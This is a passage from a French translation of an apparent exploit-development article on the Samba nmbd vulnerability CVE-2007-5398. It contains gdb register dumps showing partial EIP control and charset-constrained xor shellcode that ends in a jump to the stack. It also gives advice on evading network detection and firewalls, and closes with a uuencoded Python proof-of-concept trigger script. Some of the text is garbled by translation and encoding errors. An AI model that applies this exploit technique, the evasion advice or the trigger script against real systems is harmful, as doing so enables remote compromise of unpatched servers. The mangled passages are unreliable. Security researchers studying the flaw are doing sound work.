Puisque nous ne sommes pas en mesure de connaître à l'avance le contenu de
la mémoire que nous tentons de vider, il ne semble pas qu'il y ait plus de
raisons de suivre ce chemin. Ceci dit, il serait possible d'employer
certaines données statiques[] pour vider le contenu de .bss et recueillir ce
qui pourrait être utile.
Après avoir été déçu au début par cette réalisation, j'ai réalisé qu'en
utilisant l'emplacement statique connu de .bss, on peut heureusement vider
le reste de .bss, puis, si nous sommes chanceux, l'allocation du tas. Un
effet de bord quand on essaie de vider la disposition du tas, est qu'il
n'est pas garanti d'aller directement après le nmbd .bss. (Par exemple, le
noyau par défaut de Fedora 8 prend en charge le tas aléatoire et NON après
le .bss).
Pour ces raisons, nous devrions trouver un pointeur adéquat vers le tas dans
le .bss. La valeur d'un pointeur approprié est :
* Un pointeur qui n'est pas alloué trop tôt lors du processus
d'initialisation de nmbd. Cette condition existe parce que
la taille de la structure res_rec est assez grande, et si on
rencontre une structure précocement allouée, en ajustant le
pointeur de sorte que rdlength pointe vers un nombre entier,
il atteindra une page supprimée.
* Un pointeur possédant une petite valeur appropriée de 4 octets
depuis l'emplacement du pointeur, de sorte que l'on puisse
continuer le vidage et l'analyse de la mémoire.
Avant de nous égarer, nous devons recréer la disposition de la pile, et voir
si nous pouvons écraser quelques-uns des counts ou des pointeurs correctement
Après avoir analysé comment la pile est présentée, (avec IDA Pro
Standard 5.2) on peut commencer à ajuster le code de l'exploit pour
s'assurer qu'il fonctionne. J'ai ajouté les représentations de structure
applicable en python de sorte que je puisse définir les valeurs
explicitement (par exemple, nmb_packet['answers'] = 0x08049000), plutôt que
d'avoir à coder en dur les tableaux d'offsets ou de hex.
Malheureusement, il semble que dans la disposition de la pile pour Samba
sous FreeBSD 6.2 , la variable ancount n'est pas alignée avec l'écriture en
6 bits :( :(
On peut cependant influencer les 2 octets les plus signifiants (avec au
moins les 2 octets les plus signifiants étant des drapeaux), mais en
examinant put_res_rec(), cela ne s'avère pas possible plus avant :
-------------------------------------------
398 for (i=0;i<count;i++) {
399 int l = put_nmb_name(buf,offset,&recs[i].rr_name);
400 offset += l;
401 ret += l;
402 RSSVAL(buf,offset,recs[i].rr_type);
403 RSSVAL(buf,offset+2,recs[i].rr_class);
404 RSIVAL(buf,offset+4,recs[i].ttl);
405 RSSVAL(buf,offset+8,recs[i].rdlength);
406 memcpy(buf+offset+10,recs[i].rdata,recs[i].rdlength);
407 offset += 10+recs[i].rdlength;
408 ret += 10+recs[i].rdlength;
409 }
--------------------------------------------
Boucler à un minimum de 65536 est hors de question, car la mémoire tampon de
1024 octets dans send_packet() sera promptement écrasée, et le paramètre de
la longueur de memcpy() n'est pas connu lors des appels suivants.
En passant en revue les drapeaux disponibles :
--------------------------------------------
77 /********************************************************************
78 Get/Set problematic nb_flags as network byte order 16 bit int.
79 ********************************************************************/
80
81 uint16 get_nb_flags(char *buf)
82 {
83 return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK);
84 }
85
86 void set_nb_flags(char *buf, uint16 nb_flags)
87 {
88 *buf++ = ((nb_flags & NB_FLGMSK) & 0xFF);
89 *buf = '?';
90 }
nameserv.h:
89 /* Mask applied to outgoing NetBIOS flags. */
90 #define NB_FLGMSK 0xE0
--------------------------------------------
On peut voir que l'on contrôle le bit le plus signifiant du drapeau de 2
octets, ce qui est fortement indésirable, car le code put_res_rec() bouclera
au minimum de 32 fois.
Malheureusement, ces restrictions nous empêchent de définir ancount à 1. En
raison de l'écriture en 6 octets, l'autre champ nsrec ne sera pas écrasé
correctement. Jusqu'ici, il apparaît que le paquetage samba par défaut de
FreeBSD 6.2 n'est pas vulnérable à cette fuite de mémoire répertoriée, ce
qui est malchanceux.
Après une brève analyse de l'installation par défaut du binaire nmbd dans
Ubuntu 7.10 , il apparaît que la pile vérifiant le code réorganise la
mémoire tampon, et place l'enregistrement de ressource après la structure du
paquet - cela signifie qu'on ne peut l'utiliser pour vider la mémoire depuis
nmbd :( si nous pouvions provoquer une fuite de mémoire, il serait possible
d'employer ceci pour révéler ce qu'est le cookie de la pile. Si la pile ou
le cookie étaient sujets à des fuites, et notre écriture en 6 octets alignée
correctement, on pourrait exploiter le processus.
------[5.6.3 - Retour vers le futur ^W.bss</title>
J'ai décidé d'observer de nouveau la phase d'écrasement, et voir ce qu'on
peut faire avec la valeur statique .bss en 15 octets dans name_to_key()
--------------------------------------------
Starting program: /usr/local/sbin/nmbd -F -D -s smb.conf
Program received signal SIGSEGV, Segmentation fault.
0x41414242 in ?? ()
(gdb) i r
eax 0x1 1
ecx 0x2834fd80 674561408
edx 0x40 64
ebx 0x42420000 1111621632
esp 0xbfbfe544 0xbfbfe544
ebp 0x5a5a0000 0x5a5a0000
esi 0x4242 16962
edi 0x41414242 1094795842
eip 0x41414242 0x41414242
eflags 0x10282 66178
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
(gdb)
--------------------------------------------
Après l'avoir de nouveau observé, on note :
* Un contrôle partiel de ebx (les 2 octets les plus signifiants)
* Un contrôle partiel de ebp (les 2 octets les plus signifiants)
* Un contrôle partiel de esi (les 2 octets les plus signifiants)
Après y avoir repensé un petit peu plus, avec un peu d'expérience, on peut
utiliser xor [edi+offset], reg pour modifier une partie du code que nous
voulons exécuter.
En testant cette théorie, on voit :
--------------------------------------------
$ ndisasm -b 32 t
00000000 315F08 xor [edi+0x8],ebx
00000003 317708 xor [edi+0x8],esi
00000006 316F08 xor [edi+0x8],ebp
00000009 314708 xor [edi+0x8],eax
0000000C 315F08 xor [edi+0x8],ebx
0000000F 314F08 xor [edi+0x8],ecx
00000012 315708 xor [edi+0x8],edx
00000015 317F08 xor [edi+0x8],edi
simple toupper :
$ cat t | tr a-z A-Z | ndisasm -b 32 -
00000000 315F08 xor [edi+0x8],ebx
00000003 315708 xor [edi+0x8],edx
00000006 314F08 xor [edi+0x8],ecx
00000009 314708 xor [edi+0x8],eax
0000000C 315F08 xor [edi+0x8],ebx
0000000F 314F08 xor [edi+0x8],ecx
00000012 315708 xor [edi+0x8],edx
00000015 317F08 xor [edi+0x8],edi
--------------------------------------------
D'après ce qui précède, on voit qu'on ne peut utiliser esi et ebp
directement dans l'argument xor, ainsi si nécessaire, on peut employer
push/pop tout autour. (Ce n'est pas idéal, car cela réduit l'espace jusqu'à
un seuil critique.)
En observant rapidement, on peut faire :
--------------------------------------------
xor [edi + <offset>], ebx
push ebp
pop ebx
xor [edi + <offset>], ebx
sub esp, esi
jmp esp
--------------------------------------------
Les deux dernières instructions encodent à )ôÿä, de sorte que cela signifie
que nous avons besoin d'un octet défini avec un haut bit, qui s'étend de
préférence à trois octets. (Si vous ne comprenez pas la phrase précédente,
relisez la section mentionnant comment le nom netbios est converti à cause
du problème de jeu de caractères). En produisant rapidement les octets
applicables, on voit que ° augmente à â??, et constitue un bit approprié sur
lequel travailler.
Pour obtenir ce dont nous avons besoin :
--------------------------------------------
>>> hex(0xe2 ^ 0xf4)
'0x16'
>>> hex(0x96 ^ 0xff)
'0x69'
>>> hex(0x91 ^ 0xe4)
'0x75'
--------------------------------------------
En plaçant tout cela ensemble, on obtient :
--------------------------------------------
Breakpoint 1, 0x08117f80 in keydata.21 ()
(gdb) x/10i
0x8117f80 <keydata.21>: xor %ebx,0x7(%edi)
0x8117f83 <keydata.21+3>: push %ebp
0x8117f84 <keydata.21+4>: pop %ebx
0x8117f85 <keydata.21+5>: xor %ebx,0x9(%edi)
0x8117f88 <keydata.21+8>: sub %esp,%edx
0x8117f8a <keydata.21+10>: xchg %eax,%esi
0x8117f8b <keydata.21+11>: xchg %eax,%ecx
0x8117f8c <keydata.21+12>: dec %ecx
...
(gdb) stepi
0x08117f83 in keydata.21 ()
(gdb) x/10i
0x8117f83 <keydata.21+3>: push %ebp
0x8117f84 <keydata.21+4>: pop %ebx
0x8117f85 <keydata.21+5>: xor %ebx,0x9(%edi)
0x8117f88 <keydata.21+8>: sub %esi,%esp
0x8117f8a <keydata.21+10>: call *0x504e5749(%ecx)
0x8117f90 <keydata.21+16>: add %al,(%eax)
...
(gdb) stepi
0x08117f84 in keydata.21 ()
(gdb)
0x08117f85 in keydata.21 ()
(gdb)
0x08117f88 in keydata.21 ()
(gdb) x/10i
0x8117f88 <keydata.21+8>: sub %esi,%esp
0x8117f8a <keydata.21+10>: jmp *%esp
...
(gdb) i r esi
esi 0x59e 1438
(gdb) x/10i -
0xbfbfdfa6: cld
0xbfbfdfa7: mov %edi,%eax
0xbfbfdfa9: addb $0x0,(%eax)
0xbfbfdfac: mov %edi,%esi
0xbfbfdfae: nop
0xbfbfdfaf: addb $0x0,(%eax)
0xbfbfdfb2: add $0x3c,%esi
0xbfbfdfb5: addb $0x0,(%eax)
0xbfbfdfb8: mov %esp,%edi
0xbfbfdfba: nop
--------------------------------------------
Le problème avec ce qui prècéde, est que first_layer_sc.asm doit être mis à
jour, car diverses choses ont changé. Tel que edi pointant l'emplacement en
mémoire de .bss, esp pointant sur ce que nous exécutons actuellement, etc.
Ces changements sont relativement mineurs cependant.
Malheureusement, en raison de l'écrasement partiel de eip, nous aurons
besoin de deux adresses pour obtenir l'exécution du code. Cependant, ce
mécanisme est probablement plus fiable que de croire que les adresses de la
pile seront les mêmes à chaque exécution.
----[ 5.7 - Notes d'exploitation supplémentaires</title>
Les enregistrements prennent un paramètre nommé <option>ttl</option> (durée
de vie) .. en observant le code source de Samba, on voit :
--------------------------------------------
static int get_ttl_from_packet(struct nmb_packet *nmb)
{
int ttl = nmb->additional->ttl;
if (ttl < lp_min_wins_ttl()) {
ttl = lp_min_wins_ttl();
}
if (ttl > lp_max_wins_ttl()) {
ttl = lp_max_wins_ttl();
}
return ttl;
}
param/loadparam.c:
FN_GLOBAL_INTEGER(lp_min_wins_ttl, &Globals.min_wins_ttl)
Globals.min_wins_ttl = 60 * 60 * 6; /* 6 hours default. */
Globals.max_wins_ttl = 60 * 60 * 24 * 6; /* 6 days default. */
--------------------------------------------
Cela veut dire que par défaut, on a moins de 6 heures pour envoyer tous les
paquets requis, et si on veut, moins de 6 jours pour effectuer un exploit.
Si les enregistrements de paquets sont faits à des intervalles appropriés,
cela devrait éviter les signatures basées sur l'envoi à intervalle où par
requête de temps. Une autre façon d'éviter une simple détection serait
d'utiliser des drapeaux d'enregistrement netbios différents et d'éviter les
adresses ip statiques.
En plus du temps mort ci-dessus, avec un petit peu plus d'effort, il est
possible d'employer le descripteur de fichier existant, et les informations
relatives à l'adresse ip ou au port dans la structure du paquet transmis à
reply_netbios_packet(), pour éviter de nouvelles connexions réseau qui
pourraient être notées ou détectées par un pare-feu ou bloquées en quelque
sorte.
En travaillant davantage contre les cibles connues, le registre ebp pourrait
être restauré correctement et le flux d'exécution pourrait être rétabli vers
le point adéquat. Cela prouverait une exploitation manifeste.
--[ 6 - Références</title>
[1] http://us1.samba.org/samba/security/CVE-2007-5398.html
http://secunia.com/secunia_research/2007-90/advisory/
[2] http://www.wireshark.org
[3] http://oss.coresecurity.com/projects/impacket.html
[4] http://sourceforge.net/projects/tdb/
[5] http://www.cs.rice.edu/~scrosby/hash/
[6] http://oss.coresecurity.com/projects/inlineegg.html
[7] http://www.phrack.org/issues.html?issue=59&id=7
[8] Bounds error: attempt to reference memory overrunning the end of an
object. Pointer value: References, size: 1
--[8 - Addendum
Je suis heureux que cet article ait été jugé digne d'être publié.
Je remercie pour le coup de main ;)
Je serai présent à Ruxcon 2008, aussi je vous engage à nous y retrouver
http://www.ruxcon.org.au/ - 29 Novembre 2008
Voici une preuve du concept visant à déclencher l'exploit :
begin 600 CVE-2007_5398-trigger.py
M(R$O=7-R+V)I;B]P>71H;VX@#0H-"FEM<&]R="!S=')U8W0-"FEM<&]R="!I
M;7!A8VME="YS=')U8W1U<F4-"FEM<&]R="!I;7!A8VME="YN;6(@#0II;7!O
M<G0@<F%N9&]M#0II;7!O<G0@<WES#0II;7!O<G0@<V]C:V5T#0II;7!O<G0@
M=&EM90T*#0IC;&%S<R!.34)?4F5G:7-T97)?4&%C:V5T*&EM<&%C:V5T+G-T
M<G5C='5R92Y3=')U8W1U<F4I.@T*"7-T<G5C='5R92`]("@-"@D)*"`G=')A
M;G-A8W1I;VY?:60G+"`G(4@G("DL#0H)"2@@)V9L86=S)RP@)R%()RDL#0H)
M"2@@)W%U97-T:6]N<R<L("<A2"<@*2P-"@D)*"`G86YS=V5R7W)R<R<L("<A
M2"<@*2P-"@D)*"`G875T:&]R:71Y7W)R<R<L("<A2"<@*2P-"@D)*"`G861D
M:71I;VYA;%]R<G,G+"`G(4@G*2P-"@T*"0DH("=Q=65R>5]N86UE)RP@)S,T
M<R<I+`T*"0DH("=Q=65R>5]T>7!E)RP@)R%()R`I+`T*"0DH("=Q=65R>5]C
M;&%S<R<L("<A2"<@*2P-"@D)#0H)"2@@)V%D9&ET:6]N86Q?;F%M92<L("<R
M<R<@*2P-"@D)*"`G861D:71I;VYA;%]T>7!E)RP@)R%()RDL#0H)"2@@)V%D
M9&ET:6]N86Q?8VQA<W,G+"`G(4@G("DL#0H)"2@@)W1I;65?=&]?;&EV92<L
M("<A3"<@*2P-"@D)*"`G9&%T85]L96XG+"`G(4@G("DL#0H)"2@@)V%D9&ET
M:6]N86Q?9FQA9W,G+"`G(4@G("DL#0H)"2@@)V%D9&ET:6]N86Q?:7!A9&1R
M)RP@)R%,)R`I#0H)*0T*#0IC;&%S<R!.34)?5')I9V=E<E]086-K970H:6UP
M86-K970N<W1R=6-T=7)E+E-T<G5C='5R92DZ#0H)<W1R=6-T=7)E(#T@*`T*
M"0DH("=T<F%N<V%C=&EO;E]I9"<L("<A2"<@*2P-"@D)*"`G9FQA9W,G+"`G
M(4@G*2P-"@D)*"`G<75E<W1I;VYS)RP@)R%()R`I+`T*"0DH("=A;G-W97)?
M<G)S)RP@)R%()R`I+`T*"0DH("=A=71H;W)I='E?<G)S)RP@)R%()R`I+`T*
M"0DH("=A9&1I=&EO;F%L7W)R<R<L("<A2"<I+`T*#0H)"2@@)W%U97)Y7VYA
M;64G+"`G,S1S)RDL#0H)"2@@)W%U97)Y7W1Y<&4G+"`G(4@G("DL#0H)"2@@
M)W%U97)Y7V-L87-S)RP@)R%()R`I+`T*"2D-"@T*8VQA<W,@0U9%7S(P,#=?
M-3,Y.#H-"@T*"71A<F=E=',@/2!;#0H)"7L@#0H)"0DG;F%M92<Z("=$96)U
M9V=I;F<G+`T*"0D))V1E<V-R:7!T:6]N)SH@)U1H:7,@=&%R9V5T(&%I;7,@
M=&\@8W)A<V@@=&AE('9U;&YE<F%B;&4@<V5R=FEC92<L#0H)"0DG<F5G:7-T
M97)?<&%C:V5T<R<Z(#$P,`T*"0E]#0H)70T*"0D-"@T*"61E9B!?7VEN:71?
M7RAS96QF+"!H;W-T+"!T87)G970I.@T*"0EI9BAT87)G970@/"`P(&]R('1A
M<F=E="`^(&QE;BAS96QF+G1A<F=E=',I*3H-"@D)"7)A:7-E($5X8V5P=&EO
M;BP@)TEN=F%L:60@=&%R9V5T(&ED('-P96-I9FEE9"X@4&QE87-E('-E92`M
M:"!F;W(@;6]R92!I;F9O<FUA=&EO;B<-"@T*"0ES96QF+FAO<W0@/2!H;W-T
M#0H)"7-E;&8N=&%R9V5T7VED(#T@=&%R9V5T#0H-"@ED968@0W)E871E3DU"
M4F5G:7-T97)086-K970H<V5L9BP@;F%M92P@:7`L(&9L86=S*3H-"@D)96YC
M;V1E9%]N86UE(#T@:6UP86-K970N;FUB+F5N8V]D95]N86UE*&YA;64L(#!X
M,6(L("(B*0T*#0H)"7!A8VME="`]($Y-0E]296=I<W1E<E]086-K970H*0T*
M"0EP86-K971;)W1R86YS86-T:6]N7VED)UT@/2!R86YD;VTN<F%N9&EN="@P
M+"`P>&9F9F8I#0H)"7!A8VME=%LG9FQA9W,G72`](#!X,CDP,`T*"0EP86-K
M971;)W%U97-T:6]N<R==(#T@,0T*"0EP86-K971;)V%N<W=E<E]R<G,G72`]
M(#`-"@D)<&%C:V5T6R=A=71H;W)I='E?<G)S)UT@/2`P#0H)"7!A8VME=%LG
M861D:71I;VYA;%]R<G,G72`](#$-"@T*"0EP86-K971;)W%U97)Y7VYA;64G
M72`](&5N8V]D961?;F%M90T*"0EP86-K971;)W%U97)Y7W1Y<&4G72`](#!X
M,C`-"@D)<&%C:V5T6R=Q=65R>5]C;&%S<R==(#T@,'@P,0T*"0D-"@D)<&%C
M:V5T6R=A9&1I=&EO;F%L7VYA;64G72`](")<>&,P7'@P8R(-"@D)<&%C:V5T
M6R=A9&1I=&EO;F%L7W1Y<&4G72`](#!X,#`R,`T*"0EP86-K971;)V%D9&ET
M:6]N86Q?8VQA<W,G72`](#!X,#`P,0T*"0EP86-K971;)W1I;65?=&]?;&EV
M92==(#T@,`T*"0EP86-K971;)V1A=&%?;&5N)UT@/2`V#0H)"7!A8VME=%LG
M861D:71I;VYA;%]F;&%G<R==(#T@9FQA9W,-"@D)<&%C:V5T6R=A9&1I=&EO
M;F%L7VEP861D<B==(#T@:7`-"@D-"@D)<F5T=7)N('-T<BAP86-K970I#0H-
M"@ED968@5')I9V=E<E9U;&YE<F%B:6QI='DH<V5L9BDZ#0H)"6YA;64@/2!I
M;7!A8VME="YN;6(N96YC;V1E7VYA;64H)RHG+"`P>#%B+"`B(BD-"@T*"0DC
M($ET(&%P<&5A<G,@:6UP86-K970N;FUB+F5N8V]D95]N86UE(&1O97,@;F]T
M(&AA;F1L92!T:&4@86)O=F4@8V%S92!E=F5R>2!W96QL("T@<V\@=V4@96YC
M;V1E#0H)"2,@=&AE('1Y<&4@;6%N=6%L;'D-"@T*"0EN86UE(#T@;F%M95LZ
M,S%=("L@(EQX-#)<>#1C(B`K(&YA;65;,S,Z70T*#0H)"71R:6=G97(@/2!.
M34)?5')I9V=E<E]086-K970H*0T*"0ET<FEG9V5R6R=T<F%N<V%C=&EO;E]I
M9"==(#T@<F%N9&]M+G)A;F1I;G0H,"P@,'AF9F9F*0T*"0ET<FEG9V5R6R=F
M;&%G<R==(#T@,'@P,3`P#0H)"71R:6=G97);)W%U97-T:6]N<R==(#T@,0T*
M"0ET<FEG9V5R6R=A;G-W97)?<G)S)UT@/2`P#0H)"71R:6=G97);)V%U=&AO
M<FET>5]R<G,G72`](#`-"@D)=')I9V=E<ELG861D:71I;VYA;%]R<G,G72`]
M(#`-"@T*"0ET<FEG9V5R6R=Q=65R>5]N86UE)UT@/2!N86UE#0H)"71R:6=G
M97);)W%U97)Y7W1Y<&4G72`](#!X,C`)#0H)"71R:6=G97);)W%U97)Y7V-L
M87-S)UT@/2`P>#`Q#0H-"@D)<VMT(#T@<V5L9BY#;VYN96-T*"D-"@D)<VMT
M+G-E;F0H<W1R*'1R:6=G97(I*0T*"0ES:W0N8VQO<V4H*0T*#0H)9&5F($UA
M:V5.86UE*'-E;&8I.@T*"0EL971T97)S(#T@6VD@9F]R(&D@:6X@<F%N9V4H
M;W)D*"=!)RDL(&]R9"@G6B<I*S$I70T*"0ER86YD;VTN<VAU9F9L92AL971T
M97)S*0T*"0EN86UE(#T@<F%N9&]M+G-A;7!L92AL971T97)S+"!R86YD;VTN
M<F%N9&EN="@R+"`Q-"DI#0H)"6YA;64@/2`G)RYJ;VEN*%MC:'(H:2D@9F]R
M(&D@:6X@;F%M95TI#0H-"@D)<F5T=7)N(&YA;64-"@T*"61E9B!#<F5A=&50
M86-K971S*'-E;&8I.@T*"0EP86-K971S(#T@6UT-"@D)#0H)"69O<B!I(&EN
M(')A;F=E*'-E;&8N=&%R9V5T<UMS96QF+G1A<F=E=%]I9%U;)W)E9VES=&5R
M7W!A8VME=',G72DZ#0H)"0DC(&EP(#T@<F%N9&]M+G)A;F1I;G0H,"P@,'AF
M9F9F9F9F9BD-"@D)"6EP(#T@,'@V.#8Y-F$V8@T*"0D);F%M92`]('-E;&8N
M36%K94YA;64H*0T*"0D)<&%C:V5T(#T@<V5L9BY#<F5A=&5.34)296=I<W1E
M<E!A8VME="AN86UE+"!I<"P@,'@V,#`P*0T*"0D)<&%C:V5T<RYA<'!E;F0H
M<&%C:V5T*0T*#0H)"7)E='5R;B!P86-K971S#0H-"@ED968@0V]N;F5C="AS
M96QF*3H-"@D)<VMT(#T@<V]C:V5T+G-O8VME="AS;V-K970N049?24Y%5"P@
M<V]C:V5T+E-/0TM?1$=204TL(#`I#0H)"7-K="YC;VYN96-T*"AS96QF+FAO
M<W0L(#$S-RDI#0H)"7)E='5R;B!S:W0-"@T*"61E9B!396YD4&%C:V5T<RAS
M96QF+"!P86-K971S*3H-"@D)<VMT(#T@<V5L9BY#;VYN96-T*"D-"@D)9F]R
M('!A8VME="!I;B!P86-K971S.@T*"0D)<VMT+G-E;F0H<&%C:V5T*0T*"0D)
M=&EM92YS;&5E<"@P+C$I#0H-"@D)<VMT+F-L;W-E*"D-"@T*#0H)9&5F(')U
M;BAS96QF*3H-"@D)<&%C:V5T<R`]('-E;&8N0W)E871E4&%C:V5T<R@I#0H)
M"7-E;&8N4V5N9%!A8VME=',H<&%C:V5T<RD-"@T*"0ES96QF+E1R:6=G97)6
M=6QN97)A8FEL:71Y*"D-"@D-"F1E9B!P87)S95]A<F=S*&%R9W,I.@T*"69R
M;VT@;W!T<&%R<V4@:6UP;W)T($]P=&EO;E!A<G-E<@T*#0H)<&%R<V5R(#T@
M3W!T:6]N4&%R<V5R*"D-"@EP87)S97(N<V5T7V1E9F%U;'1S*&AO<W0]3F]N
M92P@=&%R9V5T/4YO;F4L(&QI<W0]1F%L<V4I#0H-"@EP87)S97(N861D7V]P
M=&EO;B@G+2UH;W-T)RP@9&5S=#TB:&]S="(I#0H)<&%R<V5R+F%D9%]O<'1I
M;VXH)RTM=&%R9V5T)RP@9&5S=#TB=&%R9V5T(BP@='EP93TB:6YT(BD-"@EP
M87)S97(N861D7V]P=&EO;B@G+2UL:7-T)RP@9&5S=#TB;&ES="(L(&%C=&EO
M;CTB<W1O<F5?=')U92(I#0H-"@EO<'1S+"!A<F=S(#T@<&%R<V5R+G!A<G-E
M7V%R9W,H87)G<RD-"@T*"6EF*&]P=',N:&]S="!I<R!.;VYE*3H-"@D)<F%I
M<V4@17AC97!T:6]N+"`G2&]S="!A<F=U;65N="!H87,@;F]T(&)E96X@<W5P
M<&QI960L('!L96%S92!R=6X@=VET:"`M:"!T;R!S964@<&%R86UE=&5R<R<-
M"@T*"6EF*&]P=',N=&%R9V5T(&ES($YO;F4I.@T*"0ER86ES92!%>&-E<'1I
M;VXL("=487)G970@87)G=6UE;G0@:&%S(&YO="!B965N('-U<'!L:65D+"!P
M;&5A<V4@<G5N('=I=&@@+6@@=&\@<V5E('!A<F%M971E<G,G#0H-"@EI9BAO
M<'1S+FQI<W0I.@T*"0EF;W(@=&%R9V5T(&EN($-615\R,#`W7S4S.3@N=&%R
M9V5T<SH-"@D)"7!R:6YT("(E,3)S("`@("5S(B`E("AT87)G971;)VYA;64G
M72P@=&%R9V5T6R=D97-C<FEP=&EO;B==*0T*#0H)"7-Y<RYE>&ET*#$I#0H-
M"@ER971U<FX@;W!T<RP@87)G<PT*#0ID968@;6%I;BAA<F=S*3H-"@EO<'1S
M+"!A<F=S(#T@<&%R<V5?87)G<RAA<F=S*0T*#0H)97AP;&]I="`]($-615\R
M,#`W7S4S.3@H;W!T<RYH;W-T+"!O<'1S+G1A<F=E="D-"@EE>'!L;VET+G)U
M;B@I#0H-"FEF(%]?;F%M95]?(#T]("=?7VUA:6Y?7R<Z#0H);6%I;BAS>7,N
-87)G=ELQ.ETI#0H-"F%M
`
end